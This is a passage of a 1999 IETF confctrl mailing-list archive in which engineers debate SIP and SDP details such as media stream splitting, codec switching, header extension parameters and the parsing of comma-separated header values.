> The last MUST should probably be a MAY or SHOULD. The point is to give
> guidance on when a UAC switching codecs should make this explicit at the
> SIP level through re-INVITEs as this solves (some of) the RTP problems.
> Sending DTMF should never need to result in a SIP re-INVITE. This might
> mean DTMF RTP streams has to be treated specially, if not in the spec
> then in applications.


I think this is more an issue for the dtmf spec. THe current SIP spec,
as it is, allows you to do these re-INVITEs, so what you are suggesting
is more implementation guidance than protocol requirements.  


> I guess this updated SDP usage would eventually be detailed in an
> updated SIP spec with a new SIP version number, should Rough Consensus
> ever be reached. In this case an incremented SIP version number might be
> sufficient indication of such support.

If we do move forward with this, I'm not sure it needs a new version
number. My proposed new SDP attribute would enable interoperability
without a version change.

-Jonathan R.


-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Thu Apr 22 20:46:03 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id UAA26598
	for confctrl-outgoing; Thu, 22 Apr 1999 20:46:03 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id UAA26593
	for <confctrl@zephyr.isi.edu>; Thu, 22 Apr 1999 20:46:03 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id UAA23136
	for <confctrl@isi.edu>; Thu, 22 Apr 1999 20:46:02 -0700 (PDT)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Thu Apr 22 23:44:18 EDT 1999
Received: from dnrc.bell-labs.com (jdrosen.lra.lucent.com [135.17.250.149])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id XAA04957;
	Thu, 22 Apr 1999 23:44:15 -0400 (EDT)
Message-ID: <371FEC94.3709A93A@dnrc.bell-labs.com>
Date: Thu, 22 Apr 1999 23:44:20 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: Eric Tremblay <etremblay@mediatrix.com>
CC: confctrl@ISI.EDU
Subject: Re: more sip phone feature emulations...
References: <F16674FCE856D211AC0D00E02910AE0AD94E@INTERNAL>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

You are right. I think this should be fixed for draft.

-Jonathan R.

Eric Tremblay wrote:

> Maybe I'm mistaken, but the From header does not contain an
> "extension-attribute" construct, thus, From only supports the parameter
> "tag".  RFC2543 would have to be modified to make this a valid From header.
> We might also consider doing the same for the To header as we might
> eventually come up with a reason to have extra parameters there too.
> 
> This is all true of course if it is not implicit that headers can have any
> kind of extra parameters.
> 

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Thu Apr 22 23:36:11 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id XAA02399
	for confctrl-outgoing; Thu, 22 Apr 1999 23:36:11 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id XAA02394
	for <confctrl@zephyr.isi.edu>; Thu, 22 Apr 1999 23:36:10 -0700 (PDT)
Received: from orange.pcs.ellemtel.net (orange.pcs.ellemtel.net [194.237.226.84] (may be forged))
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id XAA00328
	for <confctrl@ISI.EDU>; Thu, 22 Apr 1999 23:36:09 -0700 (PDT)
Received: from ellemtel.se (isdn242.ellemtel.net [194.237.226.242]) by orange.pcs.ellemtel.net with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0)
	id JMF04AC2; Fri, 23 Apr 1999 08:36:11 +0200
Message-ID: <372014D7.1BE0E882@ellemtel.se>
Date: Fri, 23 Apr 1999 08:36:07 +0200
From: eubpepe <Peter.Peldan@ellemtel.se>
Organization: Ellemtel
X-Mailer: Mozilla 4.05 [en] (WinNT; I)
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>,
        confctrl <confctrl@ISI.EDU>
Subject: Re: SDP media alignment in SIP
References: <371B418C.4BC100B2@hplb.hpl.hp.com> <371BF781.EA679634@dnrc.bell-labs.com> <371C4A35.9F238F9E@hplb.hpl.hp.com> <371C858E.5AD7DCA2@dnrc.bell-labs.com> <371CAC62.8FC14118@ellemtel.se> <371CC772.1A99274B@dnrc.bell-labs.com> <371D7673.174A8681@ellemtel.se> <371EAB5C.C33912A1@dnrc.bell-labs.com> <371ECF9E.AAC46CE2@ellemtel.se> <371F1DA9.E2E5E5BA@hplb.hpl.hp.com> <371F2BBC.18435EE4@dnrc.bell-labs.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Jonathan Rosenberg wrote:
> 
> Anders Kristensen wrote:
> >
> 
> > > Ok in that case I see two solutions:
> > > 1. Just let it be and let the user live with these effects if he wants
> > > to use two different audio-modules for handling audio sessions. The
> > > effects would probably not be that big. If the first stream-handler
> > > notices that no packets have arrived during the last 10 seconds it can't
> > > interpolate and fill in, and if it adds background noice the level is
> > > probably so low that it won't disturb the new stream containing audio.
> 
> Not neccesarily.. background noise levels can often be high (when
> calling from a cell phone, for example).

Well the noice levels we are talking about here actually comes from the
receiver side. It is produced due to lack of received RTP-packets. And a
IP-phone producing high levels of background noice wouldn't be a hit :-)



> > > SUGGESTION: Instead of lining up the session descriptions one could
> > > perhaps require the i=(media title) to be mandatory. If so, one could
> > > easily relate session descriptors to each other by matching the i-field?
> > > >From the SDP-draft:
> > >
> > > A single "i=" field can also be used for each media definition. In media
> > > definitions, "i=" fields are primarily intended for labeling media
> > > streams. As such, they are most likely to be useful when a single
> > > session has more than one distinct media stream of the same media type.
> > >
> > > It seems to be a good suggestion to require the i= field in the media
> > > descriptor whenever there are more than one media descriptor of the same
> > > media type, and alignment won't be needed?
> >
> > Agreed!  Jonathan is right to want to correlate streams in the request
> > with streams in the response, and the i= field would appear to do the
> > trick.
> 
> Not a bad suggestion. There are backwards compatibility issues, though.
> The callee has to be sure that the caller supports "splitting" in this
> fashion. One could solve this with a new rtpmap attribute. So, the
> caller's SDP has i= with a session name, and a new a=rtpmap:allowsplit
> attribute, which says whether the callee can split the media line.

Hmm? What about when the caller wants to split the initial INVITE's SDP?
Is it enough to simply send two media descriptors with the same i=
field? A UAS which is unaware of the fact that media streams may be
split won't understand that and may perhaps simply see this as two
separate streams which he is invited to? If the callee then starts
sending audio to both ports we would experience really odd echo effects. 
One solution is of course that one requires that UAS's understand that
using the same i= field means that they belong to the same stream? I do
not see any other simple solution that will ensure backwards
compatibility. But again, this will only harm the user's -- the one that
uses two audio modules -- audio quality. 
> 
> I still think that doing this will introduce serious performance issues,
> as we've discussed, though...

I don't. If the receiving side simply is clever enough to only add a
very low background noice to the audio when it stops receiving packets
you wouldn't even notice it. And if it adds loud noice, get  a better
audio-module.
> 
> -Jonathan R.
> 
> --
> Jonathan D. Rosenberg                       Lucent Technologies
> Member of Technical Staff                   101 Crawfords Corner Rd.
> High Speed Networks Research                Holmdel, NJ 07733
> FAX:   (732) 834-5379                       Rm. 4C-526
> EMAIL: jdrosen@bell-labs.com
> URL: http://www.cs.columbia.edu/~jdrosen

Peter Peldan, PhD
Ellemtel Utvecklings AB
Peter.Peldan@ellemtel.se

From confctrl-owner  Thu Apr 22 23:47:45 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id XAA02725
	for confctrl-outgoing; Thu, 22 Apr 1999 23:47:45 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id XAA02719
	for <confctrl@zephyr.isi.edu>; Thu, 22 Apr 1999 23:47:44 -0700 (PDT)
Received: from orange.pcs.ellemtel.net (orange.pcs.ellemtel.net [194.237.226.84] (may be forged))
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id XAA00823
	for <confctrl@ISI.EDU>; Thu, 22 Apr 1999 23:47:43 -0700 (PDT)
Received: from ellemtel.se (isdn242.ellemtel.net [194.237.226.242]) by orange.pcs.ellemtel.net with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0)
	id JMF04ACN; Fri, 23 Apr 1999 08:47:45 +0200
Message-ID: <3720178C.287408EF@ellemtel.se>
Date: Fri, 23 Apr 1999 08:47:40 +0200
From: eubpepe <Peter.Peldan@ellemtel.se>
Organization: Ellemtel
X-Mailer: Mozilla 4.05 [en] (WinNT; I)
MIME-Version: 1.0
To: Colin Perkins <C.Perkins@cs.ucl.ac.uk>, confctrl <confctrl@ISI.EDU>
Subject: Re: SDP media alignment in SIP
References: <2987.924789950@cs.ucl.ac.uk>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Colin Perkins wrote:
> 
> --> Anders Kristensen writes:
> >Colin Perkins wrote:
> >> This seems to be a software engineering problem, not a protocol issue...
> >
> >It becomes a protocol issue because one size (e.g. RAT) does not fit
> >all. Our SIP user agent, like Ellemtels, delegates out the
> >responsibility of handling media to one or more media handling
> >subsystems, be they applications like RAT or libraries like the JMF.
> >For us to use RAT someone has to write a UA module that communicates
> >with RAT, basically a RAT device driver.
> >
> >It is perfectly reasonable for a UA to use more than one such device
> >driver for the same media type and codec at the same time, say, one for
> >RAT and one for the JMF.  The fact that RAT has its own plugin
> >architecture helps but it doesn't solve the basic problem that one media
> >handling subsystem is never going to handle all codecs in the world and
> >be the best for all of them, and hence it should be possible to several
> >such media sub-systems together.
> 
> So one has to architect the system such that there is a common RTP library,
> with other media handling systems layered on top of that. I think (hope!)
> we'd agree that RTP is sufficiently simple that a single library could fit
> all, and that the complexity is in the playout buffer, codecs, etc.
> 
> Still, that doesn't help if you wish to use and combine the media
> frameworks available today, which don't give access at that level.

That's exactly the point. If we believed that we could succeed in
agreeing on using the same RTP-library or API your suggestion would be
fine. But since there's no hope of that(?), it doesn't make much sense
constructing the protocol for that situation?

> Although, to be honest I'd probably design the system such that it
> rejects calls which cannot be entirely handled by a single framework.

Why reject them. Simply refrain from using both ports. If a caller sends
you an INVITE with a splitted media descriptor, you simply pick the best
fit and use that port. It is not that you are forced to send data to
both ports. That is only true if you really need to use codecs in both
descriptors.

> Having one call being handled by RAT and another by the JMF seems ok,
> but trying to have a single call being handled by two frameworks is
> possibly not worth the gain?
> 
> Basically, I'm arguing that a SIP user agent should have knowledge of what
> each media handling framework supports, and negotiate the call such that
> it can be handled by a single framework.

That is most likely what will happen in most cases. I just want to have
the possibility to send two media descriptors, and still hope that most
sessions will only use one of them. After all I do not expect the
generic call to use plenty of codec switches. In special cases like the
voicemail or dtmf -- a dying breed -- cases there will be well defined
switches from speech-voicemail and speech-dtmf, but besides that I do
not believe in frequent codec switching to adopt to network congestion
and such (just IMHO).
> 
> Colin

Peter Peldan

From confctrl-owner  Fri Apr 23 02:37:47 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id CAA08346
	for confctrl-outgoing; Fri, 23 Apr 1999 02:37:47 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id CAA08341
	for <confctrl@zephyr.isi.edu>; Fri, 23 Apr 1999 02:37:46 -0700 (PDT)
Received: from orange.pcs.ellemtel.net (orange.pcs.ellemtel.net [194.237.226.84] (may be forged))
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id CAA06164
	for <confctrl@ISI.EDU>; Fri, 23 Apr 1999 02:37:45 -0700 (PDT)
Received: from ellemtel.se (isdn242.ellemtel.net [194.237.226.242]) by orange.pcs.ellemtel.net with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0)
	id JMF04A1S; Fri, 23 Apr 1999 11:37:47 +0200
Message-ID: <37203F64.9A0D8117@ellemtel.se>
Date: Fri, 23 Apr 1999 11:37:40 +0200
From: eubpepe <Peter.Peldan@ellemtel.se>
Organization: Ellemtel
X-Mailer: Mozilla 4.05 [en] (WinNT; I)
MIME-Version: 1.0
To: confctrl <confctrl@ISI.EDU>
Subject: Comma-separated values
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Is the following interpretation of how to look for comma-separated
values in header fields OK?

1. if a header value is allowed to be a comma seprated list of values --
like Contact, Via and Warning -- you should look for commas not within
quoted strings and interpret the tokens in between as seprate values

2. If you use a comma in such a field for other purposes than to seprate
header values it must be within a quoted string (are there other ways?).
Example is the comma in a SIP-Date in the expires parameter in a Contact
value which must be within a quoted string containing the SIP-Date.

3. For a header value not allowed to consist of a comma separated list,
a comma can be used in the header value outside a quoted string. Example
is the Date header where the comma is naked.

Wouldn't it be simpler not to allow naked commas? Where are commas used
in headers besides as separating values and in the SIP-Date?

Peter Peldan, PhD
Ellemtel Utvecklings AB
Peter.Peldan@ellemtel.se

From confctrl-owner  Fri Apr 23 05:19:21 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id FAA13274
	for confctrl-outgoing; Fri, 23 Apr 1999 05:19:21 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id FAA13269
	for <confctrl@zephyr.isi.edu>; Fri, 23 Apr 1999 05:19:20 -0700 (PDT)
Received: from uyquist.fmmo.ca (uyquist.fmmo.ca [207.253.160.156])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id FAA11268
	for <confctrl@isi.edu>; Fri, 23 Apr 1999 05:19:19 -0700 (PDT)
Received: from localhost (fm-listproc@localhost)
	by uyquist.fmmo.ca (8.8.5/8.8.5) with SMTP id JAA22089;
	Fri, 23 Apr 1999 09:57:35 -0400
Date: Fri, 23 Apr 1999 09:57:35 -0400 (EDT)
From: "Francois D. Menard" <fm-listproc@fmmo.ca>
To: Nancy-M Greene <ngreene@nortelnetworks.com>
cc: sgcp@research.telcordia.com, "'Michael Merz'" <mmerz@tutsys.com>,
        megaco@standards.nortelnetworks.com, confctrl@ISI.EDU
Subject: RE: Where is SGCP/MGCP in the ISO-OSI layer model?
In-Reply-To: <F033F6FEF3F1D111BD150000F8CD143101E8E440@zcard007.ca.nortel.com>
Message-ID: <Pine.LNX.3.95.990423094853.22071B-100000@uyquist.fmmo.ca>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


You may find amusing that the dawn of the PSTN is explained right there
in the OSI layers ...

As you may know, we can all rember them according to the following
mnemonic: All People Seem To Need Data Processing

So if we play with the first letters of all the layers, what do we get ?

A
P
S
T
N
D
P

Then we see where the PSTN is in the layers ...

A
 P
 S
 T 
 N
D
P

Then we see that this space belongs to TCP/IP

A 
 T
 C
 P
 I
 P
D
P

Someone has to do a T-Shit with this for the next IETFs ... 

-=Francois=-
--
Francois D. Menard


On Thu, 22 Apr 1999, Nancy-M Greene wrote:

> I would say that because SGCP/MGCP mix in transport layer mechanisms, they
> are application layer AND transport layer protocols. In the new Megaco
> protocol being developed in the IETF Megaco WG (this protocol can be seen as
> the next iteration of SGCP/MGCP), we are trying to separate out the
> transport layer issues.
> 
> Nancy
> --------------------------------------------------------------------------
> Nancy M. Greene 
> Internet & Service Provider Networks, Nortel Networks
> T:514-271-7221 (internal:ESN853-1077) E:ngreene@nortelnetworks.com
> 
> > ----------
> > From: 	Michael Merz[SMTP:mmerz@tutsys.com]
> > Sent: 	Thursday, April 22, 1999 3:18 PM
> > To: 	sgcp@research.telcordia.com
> > Subject: 	Where is SGCP/MGCP in the ISO-OSI layer model?
> > 
> > Hi all,
> > Am I right saying that MGCP is a pure layer-7 protocol?
> > Thanks,
> > Mike
> > 
> > 
> > Michael Merz
> > Software Engineer
> > Tut Systems, Inc.
> > mmerz@tutsys.com
> > 
> > 
> 


From confctrl-owner  Fri Apr 23 06:50:07 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA16200
	for confctrl-outgoing; Fri, 23 Apr 1999 06:50:07 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA16195
	for <confctrl@zephyr.isi.edu>; Fri, 23 Apr 1999 06:50:05 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id GAA14383
	for <confctrl@isi.edu>; Fri, 23 Apr 1999 06:50:04 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Fri Apr 23 09:49:26 EDT 1999
Received: from dnrc.bell-labs.com (arrakis [135.180.130.41])
	by nova.dnrc.bell-labs.com (8.9.1/8.9.1) with ESMTP id JAA14690;
	Fri, 23 Apr 1999 09:49:24 -0400 (EDT)
Message-ID: <372079D0.EB429BDE@dnrc.bell-labs.com>
Date: Fri, 23 Apr 1999 09:46:56 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: eubpepe <Peter.Peldan@ellemtel.se>
CC: confctrl <confctrl@ISI.EDU>
Subject: Re: Comma-separated values
References: <37203F64.9A0D8117@ellemtel.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

eubpepe wrote:
> 
> Is the following interpretation of how to look for comma-separated
> values in header fields OK?
> 
> 1. if a header value is allowed to be a comma seprated list of values --
> like Contact, Via and Warning -- you should look for commas not within
> quoted strings and interpret the tokens in between as seprate values

also, watch out for commas in comments:

Contact: "joe, black" <sip:jblack@co.com> (don't parse, comma)

> 
> 2. If you use a comma in such a field for other purposes than to seprate
> header values it must be within a quoted string (are there other ways?).
> Example is the comma in a SIP-Date in the expires parameter in a Contact
> value which must be within a quoted string containing the SIP-Date.

The BNF is such that this is true.

> 
> 3. For a header value not allowed to consist of a comma separated list,
> a comma can be used in the header value outside a quoted string. Example
> is the Date header where the comma is naked.

Yes.

> 
> Wouldn't it be simpler not to allow naked commas? Where are commas used
> in headers besides as separating values and in the SIP-Date?

I don't think its simpler. My parser handles them in all cases just
fine, and so do all the http parsers which are in a similar boat. At
this point (we are a proposed RFC, after all), a *major* parser change
like this is simply out of the question, anyway.

-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Fri Apr 23 07:54:07 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA18376
	for confctrl-outgoing; Fri, 23 Apr 1999 07:54:07 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA18370
	for <confctrl@zephyr.isi.edu>; Fri, 23 Apr 1999 07:54:05 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id HAA17276
	for <confctrl@ISI.EDU>; Fri, 23 Apr 1999 07:54:03 -0700 (PDT)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Fri Apr 23 10:52:04 EDT 1999
Received: from delaware.dnrc.bell-labs.com (delaware.dnrc.bell-labs.com [135.180.240.27])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id KAA14424;
	Fri, 23 Apr 1999 10:52:03 -0400 (EDT)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by delaware.dnrc.bell-labs.com (8.7.5/8.7.3) with ESMTP id KAA26548; Fri, 23 Apr 1999 10:52:58 -0400 (EDT)
Message-ID: <3720894A.5E546CD2@cs.columbia.edu>
Date: Fri, 23 Apr 1999 10:52:58 -0400
From: Henning Schulzrinne <hgs@cs.columbia.edu>
X-Mailer: Mozilla 4.04 [en] (X11; I; SunOS 5.6 sun4u)
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
CC: Eric Tremblay <etremblay@mediatrix.com>, confctrl@ISI.EDU
Subject: Re: more sip phone feature emulations...
References: <F16674FCE856D211AC0D00E02910AE0AD94E@INTERNAL> <371FEC94.3709A93A@dnrc.bell-labs.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Change made:

% Reported: 1999-04-23; Eric Tremblay, Mediatrix
\item Bug:  The \header{From}, \header{To}, and \header{Via} headers
were missing extension parameters. The \header{Encryption} and
\header{Response-Key} header fields now ``officially'' allow parameters
consisting only of a token, rather than just ``token = value''.

-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Fri Apr 23 08:42:06 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA20351
	for confctrl-outgoing; Fri, 23 Apr 1999 08:42:06 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA20346
	for <confctrl@zephyr.isi.edu>; Fri, 23 Apr 1999 08:42:05 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id IAA20233
	for <confctrl@isi.edu>; Fri, 23 Apr 1999 08:42:03 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Fri Apr 23 11:40:13 EDT 1999
Received: from dnrc.bell-labs.com (arrakis [135.180.130.41])
	by nova.dnrc.bell-labs.com (8.9.1/8.9.1) with ESMTP id LAA17616
	for <confctrl@isi.edu>; Fri, 23 Apr 1999 11:40:12 -0400 (EDT)
Message-ID: <372093C7.E44291CC@dnrc.bell-labs.com>
Date: Fri, 23 Apr 1999 11:37:43 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: Re: Comma-separated values
Content-Type: text/plain; charset=iso-8859-1
X-MIME-Autoconverted: from 8bit to quoted-printable by nova.dnrc.bell-labs.com id LAA17616
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by zephyr.isi.edu id IAA20347
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Peter Peldán wrote:
> 
> Ok, just thought that since the following was asked a few days ago:
> 
> ----------------------------------------------
> Currently, the SIP (and HTTP) BNF allows quoted strings and comments
> to
> include escaped newlines. This makes multi-stage parsing a bit of a
> pain, since you can't separate the input into lines without looking
> for
> quoted strings or comments. I can't think of a real good use for
> putting
> \n into a comment or string, so one possibility is to disallow \n or
> \r
> in quoted strings in a future version of the spec.
> 
> Disadvantage: it diverges from HTTP conventions.
> 
> (Jonathan R. pointed this out.)
> 
> Any comments?
> ------------------------------------------------------------
> 
> I thought things like these were still open for discussion?

The difference is, I don't think anyone has implemented escaped newlines
(let us know if you have). The intention of the escaping was really for
quotes and brackets inside quoted strings and comments. Removing this is
therefore in line with regular draft procedures. However, disallowing
the "naked" comma in the Date field breaks *everyones* parser, which all
look for it.

-Jonathan R.
-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Fri Apr 23 09:22:06 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA22056
	for confctrl-outgoing; Fri, 23 Apr 1999 09:22:06 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA22051
	for <confctrl@zephyr.isi.edu>; Fri, 23 Apr 1999 09:22:04 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id JAA23564
	for <confctrl@isi.edu>; Fri, 23 Apr 1999 09:22:03 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Fri Apr 23 12:20:54 EDT 1999
Received: from dnrc.bell-labs.com (igorspc [135.180.130.146])
	by nova.dnrc.bell-labs.com (8.9.1/8.9.1) with ESMTP id MAA18726;
	Fri, 23 Apr 1999 12:20:52 -0400 (EDT)
Message-ID: <37209DF2.97E9E4B5@dnrc.bell-labs.com>
Date: Fri, 23 Apr 1999 12:21:06 -0400
From: Igor Slepchin <igors@dnrc.bell-labs.com>
Organization: Bell Labs
X-Mailer: Mozilla 4.04 [en] (WinNT; U)
MIME-Version: 1.0
To: Anders Kristensen <ak@hplb.hpl.hp.com>
CC: confctrl <confctrl@ISI.EDU>
Subject: Re: SDP media alignment in SIP
References: <371B418C.4BC100B2@hplb.hpl.hp.com> <371BF781.EA679634@dnrc.bell-labs.com> <371C4A35.9F238F9E@hplb.hpl.hp.com> <371C858E.5AD7DCA2@dnrc.bell-labs.com> <371C8E63.18B89734@hplb.hpl.hp.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Anders Kristensen wrote:
>  <...>
> The callee should be able to list all audio codecs it
> understands without telling the caller which one of these to use. 

It shouldn't list ALL codecs it understands, but those that form a
subset of codecs listed in INVITE SDP that it understands. In fact,
older versions of SIP draft allowed extending the list of codecs in the
response but this was removed as redundant - the caller already
specifies all the codecs it is willing to use in the INVITE so there is
no point in listing additional codecs that are not going to be used
anyway.

---
Igor Slepchin

From confctrl-owner  Fri Apr 23 09:28:31 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA22278
	for confctrl-outgoing; Fri, 23 Apr 1999 09:28:31 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA22271
	for <confctrl@zephyr.isi.edu>; Fri, 23 Apr 1999 09:28:29 -0700 (PDT)
Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA24133
	for <confctrl@isi.edu>; Fri, 23 Apr 1999 09:28:27 -0700 (PDT)
Received: from otter.hpl.hp.com (otter.hpl.hp.com [15.144.59.2])
	by atlrel1.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id MAA25436;
	Fri, 23 Apr 1999 12:28:10 -0400 (EDT)
Received: from hplb.hpl.hp.com (kristensen-a-4.hpl.hp.com [15.144.26.238])
	by otter.hpl.hp.com (8.9.3/HP-Labs Bristol Internal Mail Hub) with ESMTP id RAA02085;
	Fri, 23 Apr 1999 17:28:23 +0100 (BST)
Message-ID: <37209FA7.C4D37144@hplb.hpl.hp.com>
Date: Fri, 23 Apr 1999 17:28:23 +0100
From: Anders Kristensen <ak@hplb.hpl.hp.com>
Organization: HP Labs
X-Mailer: Mozilla 4.5 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Igor Slepchin <igors@dnrc.bell-labs.com>
CC: confctrl <confctrl@ISI.EDU>
Subject: Re: SDP media alignment in SIP
References: <371B418C.4BC100B2@hplb.hpl.hp.com> <371BF781.EA679634@dnrc.bell-labs.com> <371C4A35.9F238F9E@hplb.hpl.hp.com> <371C858E.5AD7DCA2@dnrc.bell-labs.com> <371C8E63.18B89734@hplb.hpl.hp.com> <37209DF2.97E9E4B5@dnrc.bell-labs.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Igor Slepchin wrote:
> 
> Anders Kristensen wrote:
> >  <...>
> > The callee should be able to list all audio codecs it
> > understands without telling the caller which one of these to use.
> 
> It shouldn't list ALL codecs it understands, but those that form a
> subset of codecs listed in INVITE SDP that it understands. In fact,
> older versions of SIP draft allowed extending the list of codecs in the
> response but this was removed as redundant - the caller already
> specifies all the codecs it is willing to use in the INVITE so there is
> no point in listing additional codecs that are not going to be used
